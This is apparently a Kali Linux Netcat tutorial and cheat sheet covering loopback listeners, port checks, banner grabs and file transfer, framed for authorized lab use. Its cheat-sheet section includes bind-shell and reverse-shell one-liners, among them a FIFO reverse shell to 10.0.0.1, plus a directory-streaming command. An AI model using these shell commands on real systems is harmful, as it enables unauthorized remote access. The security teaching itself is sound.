Sniffing & Spoofing
Learn how to use Netcat (nc) in Kali Linux to open a TCP or UDP connection, check a port, and see what a service sends back. Follow the examples to send your first message, inspect HTTP and SMTP responses, and transfer a test file without exposing sensitive data.
sudo apt install netcat-openbsd
nc [options] <host> <port>
Netcat (nc) is a command-line tool that reads and writes raw data over TCP or UDP. It can connect to a service or listen for an incoming connection, so you can check a port, inspect a server’s greeting, or move data between two machines. Plain Netcat connections are not encrypted.
Start by checking which nc build you have. Open your first listener in one terminal, then connect from another and send a line of text. Once that works, check a small range of TCP ports, grab an HTTP or SMTP banner, and transfer a disposable file. Finish by learning how reverse and bind shells differ from a plain data connection. Use only systems you own or have written permission to test; the examples here use two terminals on the same lab machine.
For a first connection, use TCP port 4444 on the loopback address, 127.0.0.1. Terminal A waits for the connection and Terminal B initiates it. Once B reports success, type the line shown below and press Enter. A displays the line exactly as you typed it. The source port in A’s connection message is assigned by the client’s operating system, so yours will almost certainly differ. Terminal A command — Kali OpenBSD nc: nc -lvn 127.0.0.1 4444. Terminal A initial output: Listening on 127.0.0.1 4444. Terminal B command — Kali OpenBSD nc: nc -nv 127.0.0.1 4444. Terminal B output: Connection to 127.0.0.1 4444 port [tcp/*] succeeded! Text typed in Terminal B: hello from Terminal B. Terminal A output after the connection: Connection received on 127.0.0.1 52344, then hello from Terminal B.
On Kali, the default nc implementation is netcat-openbsd, but nc is a command name, not a version identifier. Check the executable path and help banner rather than assuming every Kali image selects the same build. The netcat-traditional package provides nc.traditional, the classic Hobbit implementation, and Nmap’s separate implementation runs as ncat. Kali’s OpenBSD nc has no -e option; nc.traditional and ncat do. All file-transfer and text-only networking examples below use Kali’s OpenBSD nc. They do not require either of the other implementations.
In an authorized lab with several services, use Nmap first to find listening ports, then use Netcat to connect to one known endpoint and see what it returns. A successful TCP connection proves that the port accepted a connection, not that the application is healthy. A banner or protocol response gives you another piece of evidence. Keep file transfers and connection-direction exercises in the lab; use an authenticated tool such as SSH or SFTP when you need remote administration or private file transfer.
| Command | Purpose |
|---|---|
readlink -f "$(command -v nc)" | Resolve nc before relying on any variant-specific flags. |
nc -lvn 127.0.0.1 4444 | Accept one TCP connection on IPv4 loopback port 4444. |
nc -nv 127.0.0.1 4444 | Join the listener from a second terminal and type a test line. |
nc -zvn -w 2 127.0.0.1 4444-4445 | Try TCP ports 4444 and 4445 without sending application data. |
printf 'HEAD / HTTP/1.0\r\nHost: localhost\r\n\r\n' | nc -n -w 3 127.0.0.1 8080 | Send a HEAD request to the local lab HTTP service. |
nc -nN 127.0.0.1 4446 < lab-send.txt | Send the sample file after starting the matching receiver. |
nc -lvnp 4444Listen on port - Creating a listener for incoming connectionsnc 192.168.1.1 4444Connect to port - Connecting to a remote listenernc.traditional -lvnp 4444 -e /bin/bashBind shell - Serve bash to whoever connects (netcat-traditional only; OpenBSD nc has no -e)nc.traditional 192.168.1.1 4444 -e /bin/bashReverse shell - Send a shell back to the listener (netcat-traditional only)nc -zv 192.168.1.1 1-1000Port scan - Quick port scanningnc -lvp 1234 > file.txtReceive file - File transfer (receiver)nc -w 3 192.168.1.1 80Timeout - Drop the connection after 3 seconds of inactivitync -u 192.168.1.1 53UDP mode - Open a UDP connection instead of TCPecho '' | nc -v -n -w1 192.168.1.1 22Banner grab - Connect briefly to read a service bannerrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/fFIFO reverse shell - Reverse shell on netcat builds without -enc -lvnp 4444 -kKeep listening - Stay open for repeated inbound connectionstar czf - /path | nc 192.168.1.1 4444Directory transfer - Stream a compressed archive over netcatreadlink -f "$(command -v nc)"Identify the nc implementation - Follow the executable symlink to see whether nc resolves to nc.openbsd, nc.traditional, or another buildnc -ulnv 127.0.0.1 4447UDP listener - Receive plaintext datagrams on loopback; silence alone does not prove a port is closedprintf 'HEAD / HTTP/1.0\r\nHost: localhost\r\n\r\n' | nc -n -w 3 127.0.0.1 8080HTTP headers - Ask a lab HTTP service for the response head without the bodync -n -w 5 127.0.0.1 2525SMTP banner - Connect to a lab SMTP service and wait for its 220 greetingprintf 'one test line\n' | nc -n -q 1 127.0.0.1 4444Quit after input ends - Send one line to a listener and quit one second after stdin reaches EOFnc -nC -w 10 127.0.0.1 2525CRLF line endings - Use for SMTP sessions where the protocol expects CRLF terminatorsnc -6nv -w 3 ::1 4444IPv6 connect - Connect to an IPv6 loopback listener (the service must listen on IPv6)nc -n -s 127.0.0.1 -w 3 127.0.0.1 4444Source address - Choose the local address the connection originates from on a multi-address hostnc -dlnv 127.0.0.1 4449Listen without stdin - Accept a connection and display incoming bytes without reading the listener keyboardCreate a reverse shell connection from a target back to your listener for remote access.
Scan target ports to identify open services and potential attack vectors.
Transfer files between systems without needing SCP, FTP, or other file transfer tools.
Retrieve service banners from open ports to identify software versions and configurations.
Test TCP/UDP connectivity and diagnose network issues with raw connections.
Set up a listening shell on a target that you can connect to for remote command execution.
Open two terminals on your Kali machine. Start the listener in the first and connect to it from the second; what you type on either side appears on the other. This makes it easy to distinguish “the TCP connection succeeded” from “the application data arrived.” The chat is plaintext and has no user authentication.
Send a hand-written HTTP request, including its final blank line, or read an SMTP greeting and send EHLO and QUIT with CRLF endings. This helps identify whether a silent session is waiting for a complete request or has actually stopped responding. Stick to plaintext services you control, and use a TLS-aware client for encrypted endpoints.
Maintaining Access
pwncat is an advanced, automated shell handler that extends the capabilities of traditional reverse or bind shells, offering built-in features for automated enumeration, persistence injection, and privilege escalation tracking.
Information Gathering
Learn how to use Nmap, the free open-source network scanner: run your first port scan, discover live hosts, detect services and operating systems, and check for vulnerabilities with NSE scripts — a beginner tutorial for Kali Linux.
Exploitation
Learn how to use Metasploit Framework: install it on Kali Linux, launch msfconsole, search for exploit modules, set RHOSTS and LHOST, and run your first authorized lab exploit. This beginner tutorial covers msfconsole commands, Meterpreter sessions, msfvenom payloads, and post-exploitation — with practical examples for authorized penetration testing.
Password Attacks
Hydra is a parallelized login cracker that supports numerous protocols including FTP, HTTP, HTTPS, SMB, SSH, and many more. It performs rapid dictionary attacks against login pages and services to test password strength.
Maintaining Access
Socat is a command line based utility that establishes two bidirectional byte streams and transfers data between them, widely used for establishing shells, port forwarding, and encrypted connections.
Sniffing & Spoofing
Wireshark tutorial for beginners: capture packets, read the three panes, filter traffic and follow TCP streams — a hands-on guide to the world's foremost network protocol analyzer.
Learn about network ports, their numbering system, common protocols at each layer, how services use ports, and security implications.
Tools · BeginnerHow to use Netcat (nc) in Kali Linux: test ports, run a listener, grab banners, transfer files, and catch a reverse shell — worked example and cheat sheet.
Linux · BeginnerLearn SSH for secure remote access including key-based authentication, configuration, tunneling, port forwarding, and security hardening.
Networking · BeginnerHow to use WireGuard: install it on Kali Linux, build your first tunnel, verify it with wg show, and fix common problems — cheat sheet and 31 FAQs.
In the listener output, 4444 is the port you chose. The next line shows the client address and its temporary source port, 52344. The final line is user data, not a Netcat diagnostic. Listening on 127.0.0.1 4444. Connection received on 127.0.0.1 52344. hello from Terminal B. A TCP -zv check with numeric output enabled reports success if the connection is accepted; here, the second port refuses the connection, and a timeout is a different result. Connection to 127.0.0.1 4444 port [tcp/*] succeeded! nc: connect to 127.0.0.1 port 4445 (tcp) failed: Connection refused. HTTP response head, excerpt: HTTP/1.0 200 OK, Server: SimpleHTTP/0.6 Python/3.13.5. SMTP greeting: 220 mail.lab.example ESMTP Postfix. HTTP supplies a status line after your request; a ready SMTP service sends 220 first. Both banners are service-supplied text, not proof of the installed version.
This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.